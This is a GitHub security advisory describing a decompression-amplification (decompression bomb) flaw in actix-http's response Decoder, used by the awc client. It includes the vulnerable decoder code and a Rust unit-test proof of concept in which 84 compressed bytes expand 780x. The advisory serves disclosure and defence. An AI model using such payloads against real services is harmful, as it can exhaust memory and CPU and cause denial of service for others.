Skip to main content
Menu
Advisories

Uncontrolled Resource Consumption / Decompression Amplification in actix-http Decoder

GHSA-QPH8-7859-GQ2FPublished Updated GitHub

Description

The Decoder stream in actix-http (used by the awc HTTP client for decoding compressed response bodies such as gzip, deflate, brotli, and zstd) processes decompressed chunks without enforcing an expansion ratio limit or an absolute maximum decompressed size cap. A small payload (e.g. 84 bytes) can instantly amplify into 65,536 bytes (780x amplification), causing high CPU and memory resource consumption (Decompression Bomb / Denial of Service).

---

Details

In actix-http/src/encoding/decoder.rs, ContentDecoder processes compressed chunks iteratively:

// actix-http/src/encoding/decoder.rs:269-281 (Deflate branch)
ContentDecoder::Deflate(ref mut decoder) => match decoder.write_all(&data) {
    Ok(_) => {
        decoder.flush()?;
        let b = decoder.get_mut().take();
        if !b.is_empty() {
            Ok(Some(b))
        } else {
            Ok(None)
        }
    }
    Err(err) => Err(err),
}

Root Cause:

  1. The decoder does not track the cumulative ratio of decompressed bytes to input compressed bytes.
  2. There is no cumulative quota or cap on the total decompressed output buffer size relative to the request/response size limits.
  3. An attacker can serve a single compressed member of highly repetitive data (such as a block of zeros): 84 compressed bytes inflate to 65,536 bytes (780x measured), and the amplification scales linearly with member size, placing significant CPU and memory pressure on the consuming worker thread.

---

PoC (Detailed Hands-on Reproduction)

Automated Unit Test Verification

The following test constructs an 84-byte compressed Deflate chunk that expands into 65,536 bytes (780.19x amplification) and feeds it directly into actix_http::encoding::Decoder:

# Cargo.toml
[dependencies]
actix-http = "3"   # default features must stay enabled: compress-gzip is required

[dev-dependencies]
actix-rt = "2"
bytes = "1"
flate2 = "1"
futures-util = "0.3"

Important: do NOT set default-features = false on actix-http. The ContentEncoding::Deflate variant and the Deflate decoder are gated behind the compress-gzip feature; without it, Decoder::new falls through to a passthrough and the assertion fails with total_decompressed == 84, a false negative.

use actix_http::encoding::Decoder;
use actix_http::ContentEncoding;
use bytes::Bytes;
use flate2::write::ZlibEncoder;
use flate2::Compression;
use futures_util::stream;
use futures_util::StreamExt;
use std::io::Write;

#[actix_rt::test]
async fn test_decompression_amplification() {
    // 1. Create a 64 KiB block of zeros and compress it with Deflate/Zlib
    let uncompressed_zeros = vec![0u8; 65536];
    let mut encoder = ZlibEncoder::new(Vec::new(), Compression::best());
    encoder.write_all(&uncompressed_zeros).unwrap();
    let compressed_chunk = encoder.finish().unwrap();
    let compressed_size = compressed_chunk.len(); // ≈84 bytes

    println!("Original compressed chunk size: {} bytes", compressed_size);

    // 2. Feed the single 84-byte chunk into actix-http Decoder stream
    let input_stream = stream::iter(vec![Ok(Bytes::from(compressed_chunk))]);
    let mut decoder_stream = Decoder::new(input_stream, ContentEncoding::Deflate);

    // 3. Consume the decoded stream
    let mut total_decompressed = 0;
    while let Some(res) = decoder_stream.next().await {
        let decompressed_chunk = res.unwrap();
        total_decompressed += decompressed_chunk.len();
    }

    let amplification_ratio = total_decompressed as f64 / compressed_size as f64;
    println!("Total decompressed output size: {} bytes", total_decompressed);
    println!("Actual decompression amplification: {:.2}x", amplification_ratio);

    // 4. Assert unconstrained amplification
    assert_eq!(total_decompressed, 65536);
    assert!(amplification_ratio > 700.0, "Expected >700x amplification ratio!");
}

Actual Test Output:

Original compressed chunk size: 84 bytes
Total decompressed output size: 65536 bytes
Actual decompression amplification: 780.19x
test tests::test_decompression_amplification ... ok

---

Impact

  • Vulnerability Type: Resource Exhaustion / Decompression Bomb (CWE-770 / CWE-409)
  • Who is Impacted: Applications using the awc HTTP client (or directly instantiating actix_http::encoding::Decoder) that consume compressed response bodies from untrusted upstream servers. Note: Decoder is instantiated only in the client path (awc/src/sender.rs); actix-web servers do not auto-decode request body Content-Encoding.
  • Consequence: An attacker sending compressed payloads can cause disproportionate memory allocation and CPU consumption relative to network bandwidth, leading to service degradation or DoS. Common awc usage patterns fully materialize the decoded body (res.body(), res.json()), so the amplification translates directly into resident memory rather than transient buffers.
  • Why caller-side mitigation is not sufficient: Content-Length reflects the compressed size only; no standard header conveys the decompressed size. Callers cannot protect themselves against expansion without a decoder-level cap — the decoder is the only point where the ratio can be enforced.

Affected versions

References

GitHub · actix/actix-web